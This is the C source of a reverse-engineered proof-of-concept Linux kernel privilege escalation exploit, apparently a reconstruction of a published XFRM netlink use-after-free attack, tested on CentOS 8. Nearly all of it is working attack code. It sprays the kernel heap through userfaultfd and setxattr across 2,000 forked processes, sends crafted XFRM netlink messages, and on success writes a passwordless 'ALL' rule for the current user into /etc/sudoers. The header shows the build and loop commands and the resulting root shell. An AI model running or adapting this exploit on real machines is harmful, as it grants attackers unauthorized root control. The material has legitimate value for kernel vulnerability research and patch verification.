/* * https://github.com/snorez/exploits/blob/master/xfrm_poc_RE_challenge * * RE * Original binary file: https://github.com/duasynt/xfrm_poc/blob/master/lucky0 * This poc is written by Vitaly Nikolenko @vnik5287 * * Tested on CentOS8 4.18.0-80.11.2.el8_0.x86_64 * [test@localhost Desktop]$ gcc lucky0_RE.c -lpthread * * [test@localhost Desktop]$ while true; do ./a.out && break; done * [-] failed * [-] failed * [-] failed * running get_root * [+] current user test was added to /etc/sudoers * [+] get_root done * * [test@localhost Desktop]$ sudo su * [root@localhost Desktop]# id * uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 * * [root@localhost Desktop]# uname -a * Linux localhost.localdomain 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux * * [root@localhost Desktop]# cat /etc/redhat-release * CentOS Linux release 8.1.1911 (Core) * [root@localhost Desktop]# * * Compile: * gcc lucky0_RE.c -lpthread * * Execute: * while true; do ./a.out && break; done */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static int write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return 0; if (write(fd, buf, len) != len) { close(fd); return 0; } close(fd); return 1; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { perror("unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ perror("write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("sched_setaffinity()"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { perror("system(/sbin/ifconfig lo up)"); exit(EXIT_FAILURE); } printf("[+] namespace sandbox setup successfully\n"); } int bind_on_cpu(int num) { cpu_set_t cpu; CPU_ZERO(&cpu); CPU_SET(num, &cpu); if (sched_setaffinity(syscall(SYS_gettid), sizeof(cpu), &cpu) == -1) { perror("sched_setaffinity"); return -1; } CPU_ZERO(&cpu); if (sched_getaffinity(syscall(SYS_gettid), sizeof(cpu), &cpu) == -1) { perror("sched_getaffinity"); return -1; } if (!CPU_ISSET(num, &cpu)) return -1; return 0; } #define MAX_PAYLOAD 512 int xfrm_new_policy0(void) { int err; struct msghdr mh; struct iovec iov; struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); memset(&mh, 0, sizeof(mh)); nlm->nlmsg_type = XFRM_MSG_UPDPOLICY; nlm->nlmsg_flags = NLM_F_REQUEST; nlm->nlmsg_pid = 0; char *p = NULL; /* DATA: xfrm_userpolicy_info */ struct xfrm_userpolicy_info xupi; memset(&xupi, 0, sizeof(xupi)); xupi.share = XFRM_SHARE_ANY; xupi.action = XFRM_POLICY_ALLOW; xupi.dir = XFRM_POLICY_IN; xupi.index = 0; xupi.priority = 0; xupi.sel.family = AF_INET; //xupi.lft.hard_add_expires_seconds = 9; memcpy(NLMSG_DATA(nlm), &xupi, sizeof(xupi)); p = NLMSG_DATA(nlm) + sizeof(xupi); nlm->nlmsg_len = p - (char *)nlm; iov.iov_base = (void *)nlm; iov.iov_len = nlm->nlmsg_len; mh.msg_iov = &iov; mh.msg_iovlen = 1; int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); err = sendmsg(fd, &mh, 0); if (err == -1) { free(nlm); return -1; } free(nlm); return 0; } int xfrm_new_policy1(void) { int err; struct msghdr mh; struct iovec iov; struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); memset(&mh, 0, sizeof(mh)); nlm->nlmsg_type = XFRM_MSG_UPDPOLICY; nlm->nlmsg_flags = NLM_F_REQUEST; nlm->nlmsg_pid = 0; char *p = NULL; /* DATA: xfrm_userpolicy_info */ struct xfrm_userpolicy_info xupi; memset(&xupi, 0, sizeof(xupi)); xupi.share = XFRM_SHARE_ANY; xupi.action = XFRM_POLICY_ALLOW; xupi.dir = XFRM_POLICY_IN; xupi.index = 260; xupi.priority = 1; xupi.sel.family = AF_INET; //xupi.lft.hard_add_expires_seconds = 9; memcpy(NLMSG_DATA(nlm), &xupi, sizeof(xupi)); p = NLMSG_DATA(nlm) + sizeof(xupi); #if 0 /* ATTR: XFRM_POLICY_TYPE */ struct nlattr nla; struct xfrm_userpolicy_type upt; memset(&nla, 0, sizeof(nla)); memset(&upt, 0, sizeof(upt)); nla.nla_len = sizeof(upt) + sizeof(nla); nla.nla_type = XFRMA_POLICY_TYPE; upt.type = XFRM_POLICY_TYPE_SUB; /* the type we set index 0 */ memcpy(p, &nla, sizeof(nla)); p += sizeof(nla); memcpy(p, &upt, sizeof(upt)); p += sizeof(upt); #endif nlm->nlmsg_len = p - (char *)nlm; iov.iov_base = (void *)nlm; iov.iov_len = nlm->nlmsg_len; mh.msg_iov = &iov; mh.msg_iovlen = 1; int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); err = sendmsg(fd, &mh, 0); if (err == -1) { free(nlm); return -1; } free(nlm); return 0; } int xfrm_hash_rebuild(void) { int err; struct msghdr mh; struct iovec iov; struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); memset(&mh, 0, sizeof(mh)); nlm->nlmsg_type = XFRM_MSG_NEWSPDINFO; nlm->nlmsg_flags = NLM_F_REQUEST; nlm->nlmsg_pid = 0; char *p = NLMSG_DATA(nlm); /* DATA: flags */ unsigned int pad = 0; memcpy(p, &pad, sizeof(pad)); p += NLMSG_ALIGN(sizeof(pad)); /* ATTR: XFRMA_SPD_IPV4_HTHRESH */ struct nlattr nla; struct xfrmu_spdhthresh thresh4; memset(&nla, 0, sizeof(nla)); memset(&thresh4, 0, sizeof(thresh4)); nla.nla_len = sizeof(thresh4) + sizeof(nla); nla.nla_type = XFRMA_SPD_IPV4_HTHRESH; thresh4.lbits = 32; thresh4.rbits = 32; memcpy(p, &nla, sizeof(nla)); p += sizeof(nla); memcpy(p, &thresh4, sizeof(thresh4)); p += sizeof(thresh4); nlm->nlmsg_len = p - (char *)nlm; iov.iov_base = (void *)nlm; iov.iov_len = nlm->nlmsg_len; mh.msg_iov = &iov; mh.msg_iovlen = 1; int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); err = sendmsg(fd, &mh, 0); if (err == -1) { free(nlm); return -1; } free(nlm); return 0; } int xfrm_flush_policy0(void) { int err; struct msghdr mh; struct iovec iov; struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); memset(&mh, 0, sizeof(mh)); nlm->nlmsg_type = XFRM_MSG_FLUSHPOLICY; nlm->nlmsg_flags = NLM_F_REQUEST; nlm->nlmsg_pid = 0; char *p = NLMSG_DATA(nlm); /* DATA: nothing to do here */ nlm->nlmsg_len = p - (char *)nlm; iov.iov_base = (void *)nlm; iov.iov_len = nlm->nlmsg_len; mh.msg_iov = &iov; mh.msg_iovlen = 1; int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); err = sendmsg(fd, &mh, 0); if (err == -1) { free(nlm); return -1; } free(nlm); return 0; } int xfrm_flush_policy1(void) { int err; struct msghdr mh; struct iovec iov; struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); memset(&mh, 0, sizeof(mh)); nlm->nlmsg_type = XFRM_MSG_FLUSHPOLICY; nlm->nlmsg_flags = NLM_F_REQUEST; nlm->nlmsg_pid = 0; char *p = NLMSG_DATA(nlm); /* DATA: nothing to do here */ /* ATTR: XFRM_POLICY_TYPE */ struct nlattr nla; struct xfrm_userpolicy_type upt; memset(&nla, 0, sizeof(nla)); memset(&upt, 0, sizeof(upt)); nla.nla_len = sizeof(upt) + sizeof(nla); nla.nla_type = XFRMA_POLICY_TYPE; upt.type = XFRM_POLICY_TYPE_SUB; /* the type we set index 0 */ memcpy(p, &nla, sizeof(nla)); p += sizeof(nla); memcpy(p, &upt, sizeof(upt)); p += sizeof(upt); nlm->nlmsg_len = p - (char *)nlm; iov.iov_base = (void *)nlm; iov.iov_len = nlm->nlmsg_len; mh.msg_iov = &iov; mh.msg_iovlen = 1; int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); err = sendmsg(fd, &mh, 0); if (err == -1) { free(nlm); return -1; } free(nlm); return 0; } static void __xfrm_hash_rebuild(void) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd == -1) { perror("socket"); return; } struct msghdr mh; /* 0x38 */ int len = sizeof(struct nlmsghdr); int padding = NLMSG_ALIGN(sizeof(int)); len += padding; len += sizeof(struct nlattr); len += sizeof(struct xfrmu_spdhthresh); char buf[len]; struct iovec iov; memset(&mh, 0, sizeof(mh)); memset(buf, 0, len); memset(&iov, 0, sizeof(iov)); struct nlmsghdr *d0; d0 = (struct nlmsghdr *)&buf[0]; struct nlattr *d1; d1 = (struct nlattr *)(buf + sizeof(*d0) + padding); struct xfrmu_spdhthresh *d2; d2 = (struct xfrmu_spdhthresh *)(buf + sizeof(*d0) + padding + sizeof(*d1)); iov.iov_base = (void *)buf; iov.iov_len = len; mh.msg_iov = &iov; mh.msg_iovlen = 1; d0->nlmsg_len = len; d0->nlmsg_type = 0x24; /* XFRM_MSG_NEWSPDINFO */ d0->nlmsg_flags = 3; /* NLM_F_REQUEST | NLM_F_MULTI */ d0->nlmsg_seq = 0; d0->nlmsg_pid = 0; d1->nla_len = sizeof(*d1) + sizeof(*d2); d1->nla_type = XFRMA_SPD_IPV4_HTHRESH; d2->rbits = 1; sendmsg(fd, &mh, 0); return; } static void __xfrm_flush_policy0(void) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd == -1) { perror("socket"); return; } struct msghdr mh; struct iovec iov; struct nlmsghdr nlm; memset(&mh, 0, sizeof(mh)); memset(&iov, 0, sizeof(iov)); memset(&nlm, 0, sizeof(nlm)); iov.iov_base = (void *)&nlm; iov.iov_len = sizeof(nlm); mh.msg_iov = &iov; mh.msg_iovlen = 1; nlm.nlmsg_len = sizeof(nlm); nlm.nlmsg_type = XFRM_MSG_FLUSHPOLICY; nlm.nlmsg_flags = 1; nlm.nlmsg_seq = 0; nlm.nlmsg_pid = 0; sendmsg(fd, &mh, 0); return; } static void __xfrm_add_policy0(void) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd == -1) { perror("socket"); return; } struct msghdr mh; struct iovec iov; int len = sizeof(struct nlmsghdr); len += sizeof(struct xfrm_userpolicy_info); char buf[len]; memset(&mh, 0, sizeof(mh)); memset(&iov, 0, sizeof(iov)); memset(buf, 0, len); struct nlmsghdr *d0; d0 = (struct nlmsghdr *)buf; struct xfrm_userpolicy_info *d1; d1 = (struct xfrm_userpolicy_info *)(buf + sizeof(*d0)); iov.iov_base = (void *)buf; iov.iov_len = len; mh.msg_iov = &iov; mh.msg_iovlen = 1; d0->nlmsg_len = len; d0->nlmsg_type = 0x13; d0->nlmsg_flags = 0x301; d0->nlmsg_seq = 0; d0->nlmsg_pid = 0; d1->sel.saddr.a6[0] = 0x80fe; d1->sel.saddr.a6[1] = 0; d1->sel.saddr.a6[2] = 0; d1->sel.saddr.a6[3] = 0xAA000000; d1->sel.family = AF_INET6; sendmsg(fd, &mh, 0); return; } static void __xfrm_add_policy1(void) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd == -1) { perror("socket"); return; } struct msghdr mh; struct iovec iov; int len = sizeof(struct nlmsghdr); len += sizeof(struct xfrm_userpolicy_info); char buf[len]; memset(&mh, 0, sizeof(mh)); memset(&iov, 0, sizeof(iov)); memset(buf, 0, len); struct nlmsghdr *d0; d0 = (struct nlmsghdr *)buf; struct xfrm_userpolicy_info *d1; d1 = (struct xfrm_userpolicy_info *)(buf + sizeof(*d0)); iov.iov_base = (void *)buf; iov.iov_len = len; mh.msg_iov = &iov; mh.msg_iovlen = 1; d0->nlmsg_len = len; d0->nlmsg_type = 0x19; d0->nlmsg_flags = 0x1; d0->nlmsg_seq = 0x70bd27; d0->nlmsg_pid = 0x25dfdbff; d1->sel.dport = 0x204e; d1->sel.dport_mask = 0x800; d1->sel.sport = 0x244e; d1->sel.family = AF_INET6; d1->sel.proto = 0xbe; d1->lft.soft_add_expires_seconds = 7; d1->lft.hard_add_expires_seconds = 7; d1->priority = 1; d1->index = 0x6e6bbc; d1->action = 1; d1->flags = 1; sendmsg(fd, &mh, 0); return; } int pipedes0[2]; int pipedes1[2]; int pipedes2[2]; #define SUBP_MAX 2000 #define SEM_MAX 300 int pid[SUBP_MAX]; sem_t *shmaddr; int global_6031cc; static void get_root(void) { fprintf(stderr, "running get_root\n"); struct passwd *p; p = getpwuid(getuid()); if (!p) { perror("getpwuid"); exit(-1); } char str[256]; sprintf(str, "%s\tALL=(ALL) \tNOPASSWD: ALL\n", p->pw_name); chmod("/etc/sudoers", 0x1a0); /* TODO */ int fd = open("/etc/sudoers", 0x401); /* TODO */ if (fd == -1) { perror("sudoers"); exit(-1); } write(fd, str, strlen(str)); chmod("/etc/sudoers", 0x120); /* TODO */ printf("[+] current user %s was added to /etc/sudoers\n", p->pw_name); } struct uffd_spray_data { int fd; int idx; }; static void *uffd_spray_handler(void *arg) { struct uffd_spray_data *o; o = (struct uffd_spray_data *)arg; struct pollfd pollfd; struct uffd_msg msg; ssize_t nr = -1; int fd = o->fd; int idx = o->idx; pollfd.fd = fd; pollfd.events = POLLIN; while (1) { int ready; int readc = 0; ready = poll(&pollfd, 1, -1); if (pollfd.revents & POLLERR) continue; if (!(pollfd.revents & POLLIN)) continue; readc = read(fd, &msg, 0x20); if (readc == -1) { perror("read userfaultfd"); } if (readc != 0x20) exit(1); void *addr; addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000); sem_post(&shmaddr[idx + 1]); int c; read(pipedes0[0], &c, 1); struct uffdio_copy io_copy; char src[0x1000]; io_copy.dst = (unsigned long)addr; io_copy.src = (unsigned long)src; io_copy.len = 0x1000; io_copy.mode = 0; if ((idx > (SEM_MAX - 1)) || (idx < 205)) { sleep(1); if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) perror("UFFDIO_COPY"); } else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) { perror("UFFDIO_COPY"); } sleep(3); break; } return (void *)0; } static pthread_t uffd_setup(void *addr, unsigned long len, long flag, int idx) { int err; int uffd; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { perror("userfaultfd"); exit(-1); } struct uffdio_api io_api; io_api.api = UFFD_API; io_api.features = 0; err = ioctl(uffd, UFFDIO_API, &io_api); if (err == -1) { perror("UFFD_API"); exit(-1); } if (io_api.api != UFFD_API) { fprintf(stderr, "UFFD_API error\n"); exit(-1); } struct uffdio_register io_reg; io_reg.range.start = (unsigned long)addr; io_reg.range.len = len; io_reg.mode = UFFDIO_REGISTER_MODE_MISSING; err = ioctl(uffd, UFFDIO_REGISTER, &io_reg); if (err == -1) { perror("ioctl UFFDIO_REGISTER"); exit(-1); } if ((io_reg.ioctls & 0x1c) != 0x1c) { fprintf(stderr, "ioctl set is incorrent\n"); exit(-1); } struct uffd_spray_data *b; b = (struct uffd_spray_data *)malloc(8); b->fd = uffd; b->idx = idx; pthread_t ret; pthread_create(&ret, NULL, uffd_spray_handler, (void *)b); return ret; } static pthread_t spray_setxattr(int flag, int idx) { pthread_t ret; void *addr; addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */ if (!addr) { perror("mmap"); exit(-1); } ret = uffd_setup(addr, 0x1000, flag, idx); sem_wait(&shmaddr[idx]); if (flag) { int c; read(pipedes1[0], &c, 1); } setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */ return ret; } /* * the original program use these to get userns * open("/proc/self/ns/pid", 0); * ioctl(fd, NS_GET_USERNS); */ int main(int argc, char *argv[]) { key_t key; int shmid; int orig_gid; int stat_loc; //setup_sandbox(); int fd; fd = open("/proc/self/ns/pid", O_RDONLY); if (fd == -1) { perror("open"); return -1; } int err; err = ioctl(fd, 0xb701); /* TODO */ if (err < 0) { global_6031cc = 1; } bind_on_cpu(0); key = ftok("/dev/null", 5); shmid = shmget(key, 0x25a0, 0x3a4); /* TODO */ if (shmid < 0) { perror("shmget"); exit(-1); } shmaddr = (sem_t *)shmat(shmid, 0, 0); for (int i = 0; i < SEM_MAX; i++) { sem_init(&shmaddr[i], 1, 0); } pipe(pipedes0); pipe(pipedes1); pipe(pipedes2); orig_gid = getgid(); for (int i = 0; i < SUBP_MAX; i++) { pid[i] = fork(); if (pid[i]) continue; /* child process */ close(pipedes0[1]); close(pipedes1[1]); close(pipedes2[1]); int tmpfd; tmpfd = open("/proc/self/ns/pid", O_RDONLY); if (tmpfd == -1) { perror("open"); } if ((i > 0xf9) && (i < SEM_MAX)) { spray_setxattr(1, i); sleep(5); exit(0); } else if (i <= 0xf9) { spray_setxattr(0, i); sleep(5); exit(0); } sleep(8); if (setgid(orig_gid) < 0) { perror("setgid"); exit(0); } sleep(5); if (!global_6031cc) { if (ioctl(tmpfd, 0xb701) < 0) { alarm(0); exit(2); } } if (!seteuid(0)) { setegid(0); get_root(); exit(1); } exit(0); } if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == -1) { perror("unshare"); exit(-1); } sleep(2); sem_post(&shmaddr[0]); sleep(2); __xfrm_add_policy0(); close(pipedes1[0]); close(pipedes1[1]); sleep(1); __xfrm_add_policy1(); __xfrm_hash_rebuild(); sleep(1); /* wait for xfrm_hash_rebuild() finish */ __xfrm_flush_policy0(); close(pipedes0[0]); close(pipedes0[1]); int status = -1; for (int i = 0; i < SUBP_MAX; i++) { waitpid(pid[i], &stat_loc, 0); if (WEXITSTATUS(stat_loc) == 1) { status = 0; } else if (WEXITSTATUS(stat_loc) == 2) { if (status) status = -2; } } shmctl(shmid, 0, 0); shmdt(shmaddr); if (status == -1) { fprintf(stderr, "[-] failed\n"); } else if (!status) { fprintf(stderr, "[+] get_root done\n"); } sleep(2); exit(status); }